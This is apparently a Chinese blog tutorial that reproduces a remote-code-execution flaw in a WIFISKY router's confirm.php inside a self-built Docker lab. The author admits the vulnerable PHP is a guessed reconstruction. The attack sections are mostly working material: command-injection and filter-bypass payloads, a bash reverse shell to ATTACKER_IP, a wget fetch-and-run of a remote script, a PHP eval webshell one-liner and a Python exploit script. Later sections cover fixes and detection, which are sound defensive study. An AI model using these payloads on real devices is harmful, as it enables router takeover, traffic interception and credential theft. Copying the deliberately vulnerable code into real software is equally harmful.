1. 项目概述:一次针对特定路由器管理漏洞的深度剖析

最近在整理一些老旧网络设备的漏洞案例时,WIFISKY品牌某型号7层流控路由器的一个历史漏洞引起了我的注意。这个漏洞的入口点是一个名为 confirm.php 的文件,最终能导致远程代码执行。对于从事网络安全研究、渗透测试或者对路由器安全感兴趣的朋友来说,这类漏洞的复现与分析过程极具学习价值。它不仅能帮助我们理解路由器Web管理界面常见的安全缺陷,更能让我们掌握从漏洞信息到实际利用的完整链条。今天,我就把自己搭建环境、分析原理、到最终复现RCE的整个过程详细记录下来,其中包含了不少在公开文档里很少提及的细节和踩坑经验。无论你是想提升实战能力的安全从业者,还是想加固自己网络设备的运维人员,这篇文章都能提供直接的参考。

2. 漏洞背景与核心原理拆解

2.1 WIFISKY路由器与“7层流控”是什么?

在深入漏洞之前,有必要先了解一下目标设备。WIFISKY并非家喻户晓的消费级品牌,它更多出现在一些中小企业、校园网或特定行业的网络解决方案中。所谓的“7层流控路由器”,指的是具备第七层(应用层)流量识别和控制能力的路由器。它不像普通家用路由器只能基于IP和端口做限制,而是可以深度解析HTTP、FTP等应用协议的内容,从而实现更精细化的带宽管理、应用封锁或流量整形。这类设备的管理功能通常非常复杂,因此会配备一个功能丰富的Web管理界面,而 confirm.php 正是这个庞大管理系统中的一个交互脚本。

这类设备的安全问题往往具有代表性。厂商可能更注重功能实现和流控性能,在Web应用安全开发规范上存在疏漏;同时,设备固件更新不频繁,甚至很多设备在部署后就不再升级,导致已知漏洞长期存在。理解这个背景,就能明白为什么一个PHP文件会成为突破口。

2.2 confirm.php文件的功能与漏洞成因推测

根据漏洞编号和公开的零星信息, confirm.php 文件通常用于执行某些管理操作的“最终确认”。例如,在提交一个复杂的配置变更(如流控策略、防火墙规则)后,系统可能会生成一个确认页面,由 confirm.php 处理最终的提交参数并执行写入或更新操作。

漏洞的核心,大概率出在参数处理逻辑上。一种非常典型的模式是:脚本接收用户传入的参数(如 config data command 等),未经充分过滤或验证,便直接拼接进系统命令(如 echo $input > /tmp/config.cfg )或者传递给某些危险的PHP函数(如 eval() system() exec() )。在路由器这种嵌入式Linux环境中,Web服务(通常是轻量级的 boa lighttpd )以root或高权限身份运行,一旦命令执行成功,攻击者就能完全控制设备。

注意:由于无法获取到漏洞设备的真实固件进行逆向分析,以下原理和复现步骤是基于常见路由器漏洞模式、PHP代码审计经验以及公开漏洞描述进行的合理推演和重构。在实际的漏洞研究工作中,这种“黑盒”与“经验”结合的分析方法非常关键。

2.3 RCE漏洞的严重性分析

远程代码执行漏洞是最高危的漏洞类型之一。在路由器上成功利用RCE,意味着攻击者可以:

  1. 完全控制网络流量 :可以篡改DNS设置、发起中间人攻击、监听所有经过路由器的数据。
  2. 窃取敏感信息 :访问路由器存储的PPPoE拨号密码、VPN密钥、网络设备管理密码等。
  3. 作为内网跳板 :路由器通常位于网络边界,控制它就等于拿到了进入内网的第一把钥匙,可以进一步扫描和攻击内网其他机器。
  4. 破坏网络稳定性 :可以刷写固件、删除配置,导致网络中断。

因此,复现此类漏洞绝非为了攻击,而是为了深刻理解其危害,从而更好地进行防御和监测。

3. 复现环境搭建与难点解析

3.1 环境准备:模拟目标路由器

复现这类特定厂商、特定固件的漏洞,最大的挑战就是环境搭建。我们不太可能去找一台真实的WIFISKY路由器,因此需要搭建一个模拟环境。

方案选择:使用Docker容器模拟嵌入式环境

最贴近实战的方法是提取路由器固件,并在QEMU虚拟机中运行。但这需要一定的逆向工程基础。为了更通用和便捷,我选择使用Docker来构建一个高度仿真的环境:

  1. 基础镜像 :选择一个轻量级的Linux镜像,如 alpine debian:stable-slim ,以模拟路由器的资源限制。
  2. Web服务 :安装 lighttpd PHP-CGI 。因为很多嵌入式设备使用 lighttpd mod_cgi mod_fastcgi 来运行PHP,这与Apache+ mod_php 的环境略有不同,可能影响到某些漏洞的利用方式。
  3. 权限设置 :将Web服务( lighttpd )的运行用户设置为 root ,或者将其加入 sudo 组并配置免密执行特定命令。这模拟了路由器中Web服务高权限运行的现实情况( 注意:这是为了复现漏洞特意营造的不安全环境,生产环境绝对禁止这样操作 )。

具体搭建步骤记录:

# Dockerfile
FROM debian:stable-slim

RUN apt-get update && apt-get install -y \
    lighttpd \
    php-cgi \
    curl \
    net-tools \
    --no-install-recommends \
    && rm -rf /var/lib/apt/lists/*

# 配置lighttpd使用PHP-CGI
RUN lighty-enable-mod fastcgi-php
COPY ./lighttpd.conf /etc/lighttpd/lighttpd.conf
COPY ./php.ini /etc/php/7.4/cgi/php.ini # 根据实际PHP版本调整

# 创建有漏洞的confirm.php文件
COPY ./confirm.php /var/www/html/

# 将lighttpd的运行用户改为root(仅用于漏洞复现环境!)
RUN sed -i 's/server.username.*/server.username = "root"/' /etc/lighttpd/lighttpd.conf
RUN sed -i 's/server.groupname.*/server.groupname = "root"/' /etc/lighttpd/lighttpd.conf

EXPOSE 80
CMD ["lighttpd", "-D", "-f", "/etc/lighttpd/lighttpd.conf"]

3.2 漏洞代码还原与植入

这是复现的关键。我们需要根据漏洞描述,编写一个存在漏洞的 confirm.php 文件。基于常见模式,我设计了以下可能存在漏洞的代码:

<?php
// confirm.php - 模拟存在漏洞的版本
error_reporting(0);

// 假设从GET或POST请求中获取操作指令和配置数据
$action = $_REQUEST['action'];
$config_data = $_REQUEST['data'];

// 模拟一个需要确认的危险操作:将配置写入文件或执行命令
if ($action == 'save_flow_control') {
    // 漏洞点1:未过滤直接将数据写入文件
    $filename = '/tmp/flow_rule_'. time(). '.cfg';
    file_put_contents($filename, $config_data);
    echo "配置已保存至: $filename<br>";

    // 漏洞点2:更严重的,如果data参数包含系统命令并拼接
    if (isset($_REQUEST['debug']) && $_REQUEST['debug'] == '1') {
        // 假设这是一个“调试模式”,会执行数据中的命令
        $output = shell_exec($config_data); // 危险!未经过滤直接执行
        echo "<pre>调试输出:\n$output</pre>";
    }

    // 漏洞点3:通过序列化数据触发PHP对象注入(可能链接触发RCE)
    if ($action == 'restore_backup') {
        $backup_data = base64_decode($config_data);
        $config_array = unserialize($backup_data); // 危险!反序列化不可信数据
        // ... 后续操作可能利用魔术方法触发RCE
    }
} elseif ($action == 'ping_test') {
    // 漏洞点4:命令拼接注入
    $host = $_REQUEST['host'];
    system('ping -c 2 ' . $host); // 经典命令注入,如果host是“127.0.0.1; id”
}
?>

这个文件模拟了多种常见的漏洞模式:未过滤的文件写入、直接执行 shell_exec 、不安全的反序列化、命令拼接。在真实漏洞中,可能只存在其中一种或几种。

3.3 环境启动与验证

构建并运行Docker容器:

docker build -t wifisky-vuln .
docker run -d -p 8080:80 --name wifisky-test wifisky-vuln

访问 http://localhost:8080/confirm.php ,如果页面没有报错,说明环境基本就绪。你可以尝试访问 http://localhost:8080/confirm.php?action=ping_test&host=127.0.0.1 ,应该能看到ping命令的执行结果。这初步验证了我们的漏洞模拟环境是有效的。

4. 漏洞利用链的构造与手工复现

有了漏洞环境,我们就可以开始手工复现攻击链。我强烈建议从手工复现开始,它能让你更深刻地理解漏洞的每一个细节,而不是仅仅运行一个自动化工具。

4.1 信息收集与漏洞点探测

首先,我们需要确认漏洞的确切位置和利用方式。由于是模拟环境,我们已知漏洞在 confirm.php 。但在真实黑盒测试中,你需要:

  1. 发现入口 :通过扫描或目录爆破发现 confirm.php 文件。
  2. 参数探测 :使用工具(如 ffuf arjun )或手动测试,发现该文件接受哪些参数( action , data , debug , host 等)。
  3. 行为分析 :通过传入不同的参数值,观察返回结果的差异、错误信息、执行时间等,判断后端逻辑。

例如,我们可以发送以下请求进行初步探测:

GET /confirm.php?action=save_flow_control&data=test123 HTTP/1.1
Host: target_ip

观察是否返回“配置已保存”之类的信息,确认 action data 参数有效。

4.2 利用漏洞点2实现RCE(shell_exec)

这是最直接的一种利用方式。我们利用 debug 参数和 data 参数。

步骤一:验证命令执行

GET /confirm.php?action=save_flow_control&data=whoami&debug=1 HTTP/1.1
Host: localhost:8080

如果漏洞存在,响应中应该包含 whoami 命令的输出,很可能是 root

步骤二:尝试执行更复杂的命令 直接执行 id 可能成功,但如果想查看目录列表 ls -la ,就会遇到问题。因为参数在传递时,空格和特殊字符会被URL编码或破坏命令结构。

步骤三:绕过过滤与编码 这是实战中的关键技巧。如果直接传 data=ls -la -la 可能会被当作独立的参数处理或导致解析失败。我们需要进行命令拼接或编码。

  • 使用命令分隔符 :Linux中可以用分号 ; 、与 && 、或 || 、换行 %0a 来拼接命令。
    data=id;ls -la
    
  • 使用Base64编码绕过 :如果系统过滤了某些字符,可以尝试将命令用Base64编码,然后通过管道解码执行。
    data=echo${IFS}Y2F0IC9ldGMvcGFzc3dkCg==|base64${IFS}-d|bash
    
    ${IFS} 是Shell中内部字段分隔符的变量,常用来替代空格。
  • 使用反引号或$() :用于命令替换。
    data=`cat${IFS}/etc/passwd`
    

在我们的模拟漏洞中,由于是直接传递 $config_data shell_exec() ,利用非常简单:

GET /confirm.php?action=save_flow_control&data=cat /etc/passwd&debug=1

即可成功读取系统文件。

4.3 利用漏洞点4实现RCE(命令拼接)

漏洞点4是更经典的命令注入。 system('ping -c 2 ' . $host); 这里对 $host 变量没有做任何过滤。

利用方式:

GET /confirm.php?action=ping_test&host=127.0.0.1;id HTTP/1.1

这样,实际执行的命令就变成了 ping -c 2 127.0.0.1; id ,分号后的 id 命令会被执行。

进阶利用——获取反向Shell: 单纯执行命令并回显,有时无法进行交互式操作。获取一个反向Shell是控制服务器的标志。

  1. 在攻击机上监听一个端口: nc -lvnp 4444
  2. 向漏洞路由器发送Payload,让其连接回攻击机:
    GET /confirm.php?action=ping_test&host=127.0.0.1;bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ATTACKER_IP/4444${IFS}0>&1 HTTP/1.1
    
    这个Payload使用了 bash -i 来创建一个交互式Shell,并将其输入输出重定向到攻击机的TCP连接。这是最常用的反向Shell Payload之一。

实操心得 :在真实路由器环境中,可能没有 bash ,只有 ash sh ,甚至没有 nc 。你需要根据目标系统的环境调整Payload。常用的测试命令是 which bash which sh which nc which wget which curl 。如果没有 bash ,可以尝试 sh -i 。如果没有 /dev/tcp (这是bash的特性),可能需要使用其他方法,如使用 wget curl 下载一个二进制木马,或者使用 telnet openssl 等工具建立连接。

4.4 漏洞点1和3的潜在利用

  • 漏洞点1(任意文件写入) :虽然不能直接执行代码,但结合其他条件可能升级为RCE。例如,如果知道Web根目录路径,可以写入一个PHP Webshell文件(如 <?php @eval($_POST['cmd']);?> ),然后访问这个文件即可执行任意PHP代码。在路由器中,Web根目录通常是 /www /var/www
  • 漏洞点3(不安全的反序列化) :这是更高级的漏洞,需要目标PHP环境中存在可利用的类(魔术方法 __destruct() __wakeup() 中包含了危险操作)。在路由器这种定制化环境中,寻找可利用的POP链比较困难,但一旦成功,利用起来非常稳定。这通常需要结合固件逆向分析来寻找合适的“小工具”。

5. 自动化利用脚本编写与优化

手工复现成功后,我们可以编写一个简单的Python脚本来自动化这个过程,使其更易于测试和演示。

#!/usr/bin/env python3
import requests
import sys
import urllib.parse

def exploit_rce(target_url, command):
    """
    利用 confirm.php 的 debug 模式执行命令
    """
    params = {
        'action': 'save_flow_control',
        'data': command,
        'debug': '1'
    }
    try:
        resp = requests.get(target_url, params=params, timeout=10)
        # 从杂乱的HTML响应中提取命令输出
        # 这里需要根据实际页面结构调整,示例中我们简单查找‘调试输出:’
        if '调试输出:' in resp.text:
            start = resp.text.find('调试输出:') + len('调试输出:')
            # 简单截取<pre>标签内容,实际情况可能更复杂
            end = resp.text.find('</pre>', start) if '</pre>' in resp.text else len(resp.text)
            output = resp.text[start:end].strip()
            return output
        else:
            return f"未找到命令输出。响应长度:{len(resp.text)}"
    except Exception as e:
        return f"请求失败: {e}"

def exploit_cmd_injection(target_url, command):
    """
    利用 ping_test 功能的命令注入
    """
    # 将命令注入到host参数中
    payload = f"127.0.0.1; {command}"
    params = {
        'action': 'ping_test',
        'host': payload
    }
    try:
        resp = requests.get(target_url, params=params, timeout=10)
        # 命令注入的输出通常会和ping的结果混在一起,需要仔细提取
        # 这里只是一个简单示例,实际需要更精细的解析
        return resp.text[:500] # 返回前500字符预览
    except Exception as e:
        return f"请求失败: {e}"

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <目标URL> <命令>")
        print(f"示例: {sys.argv[0]} http://192.168.1.1/confirm.php 'id'")
        sys.exit(1)

    target = sys.argv[1]
    cmd = sys.argv[2]

    print(f"[*] 尝试通过 debug 模式执行命令...")
    result1 = exploit_rce(target, cmd)
    print(f"[+] RCE 结果:\n{result1}\n")

    print(f"[*] 尝试通过命令注入执行命令...")
    result2 = exploit_cmd_injection(target, cmd)
    print(f"[+] 命令注入结果预览:\n{result2}\n")

脚本优化点:

  1. 错误处理 :增加更完善的异常捕获和超时设置。
  2. 输出解析 :编写更健壮的HTML解析逻辑(如使用 BeautifulSoup )来准确提取命令执行结果。
  3. 编码处理 :自动对命令进行URL编码,处理特殊字符。
  4. 利用链切换 :脚本可以自动尝试多种可能的漏洞参数和利用方式,直到一种成功。
  5. 交互式Shell :实现一个简单的交互式循环,模拟一个终端,方便连续执行命令。

6. 漏洞修复方案与安全加固建议

复现漏洞的最终目的是为了修复和防御。针对这类漏洞,可以从开发、部署、运维多个层面进行加固。

6.1 代码层面修复(给开发者的建议)

  1. 严格输入验证

    • 白名单验证 :对于 action 参数,只允许预设的几个值(如 save , ping ),拒绝任何其他值。
    • 类型与格式检查 :对于 host 参数,应使用正则表达式验证其是否为合法的IP地址或主机名。
    • 示例代码修复
      $allowed_actions = ['save_flow_control', 'ping_test'];
      $action = $_GET['action'];
      if (!in_array($action, $allowed_actions)) {
          die('非法操作');
      }
      
      if ($action == 'ping_test') {
          $host = $_GET['host'];
          // 验证host是否为合法IP
          if (!filter_var($host, FILTER_VALIDATE_IP)) {
              die('主机地址不合法');
          }
          // 使用escapeshellarg安全拼接命令
          system('ping -c 2 ' . escapeshellarg($host));
      }
      
  2. 禁用危险函数 :在嵌入式设备的PHP环境( php.ini )中,通过 disable_functions 指令禁用 system , exec , passthru , shell_exec , eval 等函数。这是最直接有效的防护。

  3. 安全执行命令

    • 如果必须执行系统命令,使用 escapeshellarg() escapeshellcmd() 函数对参数进行转义。
    • 尽可能使用PHP内置函数完成文件操作、网络操作,避免调用Shell。
  4. 避免反序列化不可信数据 :绝对不要对用户输入的数据进行 unserialize() 操作。如果必须使用序列化传输数据,应使用数字签名或HMAC验证其完整性和来源。

6.2 网络与设备层面加固(给运维人员的建议)

  1. 最小化网络暴露 :路由器的Web管理界面 绝对不应该 暴露在公网上。应通过VPN或专线访问内网后再进行管理。
  2. 强密码策略 :为管理后台设置复杂、唯一的密码,并定期更换。
  3. 及时更新固件 :关注厂商的安全公告,及时更新到最新固件版本。对于已停止维护的设备,应考虑升级替换。
  4. 网络分段与隔离 :将管理网络与业务网络进行隔离,限制对路由器管理IP的访问来源。
  5. 部署入侵检测 :在网络中部署IDS/IPS设备或软件,设置规则检测针对路由器管理界面的常见攻击Payload(如包含 ; | $( eval( 等特征的请求)。

6.3 安全测试建议

对于企业来说,在部署此类网络设备前或定期巡检中,应进行安全测试:

  1. 授权测试 :在获得书面授权的前提下,对设备管理界面进行黑盒或灰盒渗透测试。
  2. 固件分析 :如果可能,对固件进行解包分析,查找硬编码密码、未授权服务、已知漏洞组件等。
  3. 配置审计 :检查设备的默认配置是否安全,如是否开启了不必要的服务(Telnet、SSH、SNMP)、是否使用了默认凭据。

7. 复现过程中的常见问题与排查实录

在搭建和复现过程中,我遇到了不少问题,这里记录下排查思路,希望能帮你节省时间。

问题1:Docker容器内Web服务访问正常,但执行命令无回显。

  • 现象 :访问 confirm.php 页面正常,但传入 debug=1 和命令后,页面只显示“调试输出:”字样,后面是空的。
  • 排查
    1. 首先在 confirm.php 开头加入 error_reporting(E_ALL); ,查看是否有PHP错误。发现是 shell_exec() 函数被禁用。
    2. 检查PHP配置:在容器内执行 php -i | grep disable_functions ,果然发现 shell_exec 在禁用列表中。
    3. 解决 :修改Dockerfile中拷贝的 php.ini 文件,将 disable_functions 列表中 shell_exec 移除,或者直接置空。然后重建容器。
  • 心得 :嵌入式设备的PHP环境配置千差万别,可能禁用了一部分危险函数,但可能留了 system() passthru() 。测试时要多尝试不同的函数。

问题2:命令注入成功,但反向Shell无法建立连接。

  • 现象 ping 127.0.0.1; id 可以执行并看到 id 命令的结果,但使用 bash -i >& /dev/tcp/... 的Payload时,攻击机监听端口没有反应。
  • 排查
    1. 检查命令是否存在 :先执行 which bash ,发现返回 /bin/bash ,存在。
    2. 检查网络连通性 :在路由器上执行 ping ATTACKER_IP ,确认路由可达。
    3. 检查防火墙 :执行 iptables -L -n ,发现路由器有出站限制。这是企业级路由器常见情况。
    4. 尝试替代方案 :使用其他建立连接的方式,如 wget ATTACKER_IP:8000/shell.sh -O /tmp/s.sh && chmod +x /tmp/s.sh && /tmp/s.sh ,或者使用 telnet openssl s_client
    5. 简化测试 :先尝试一个能立即看到效果的Payload,如 ping 127.0.0.1; wget http://ATTACKER_IP/test.txt ,在攻击机用 python3 -m http.server 开一个HTTP服务,看是否有访问日志。这样可以先确认命令执行和网络出站是否同时可行。
  • 心得 :路由器环境限制多,利用Payload需要根据目标环境灵活调整。出站限制是获取反向Shell的最大障碍之一,有时需要结合其他漏洞(如任意文件写入上传Webshell)来突破。

问题3:模拟漏洞代码在真实漏洞利用中行为不一致。

  • 现象 :根据公开的漏洞描述,利用方式可能和我们的模拟代码不同。例如,真实漏洞可能需要特定的 action 值,或者参数名不同(如 cmd 而不是 data )。
  • 排查
    1. 仔细阅读漏洞公告 :查看是否有更多细节,如请求方法(GET/POST)、必需的参数、触发漏洞的精确值。
    2. 进行模糊测试 :使用工具对 confirm.php 的所有参数进行模糊测试,尝试各种可能的参数名和值组合,观察响应差异。
    3. 寻找更多信息 :搜索是否有其他人写的漏洞分析文章、PoC脚本或视频,参考他们的利用方法。
  • 心得 :漏洞复现,尤其是基于有限信息的复现,是一个不断假设、测试、修正的过程。公开的漏洞描述往往只是冰山一角,真正的利用细节需要自己通过测试去挖掘和验证。保持耐心和细致的观察力至关重要。

整个复现过程下来,最深的体会是,对于嵌入式设备漏洞,环境差异是最大的挑战。从模拟环境到真实设备,从PoC到稳定的利用,每一步都可能遇到意想不到的问题。但正是解决这些问题的过程,才让我们的技术理解更加深刻。希望这份详细的记录,能为你研究类似漏洞提供一个清晰的思路和实用的参考框架。

更多推荐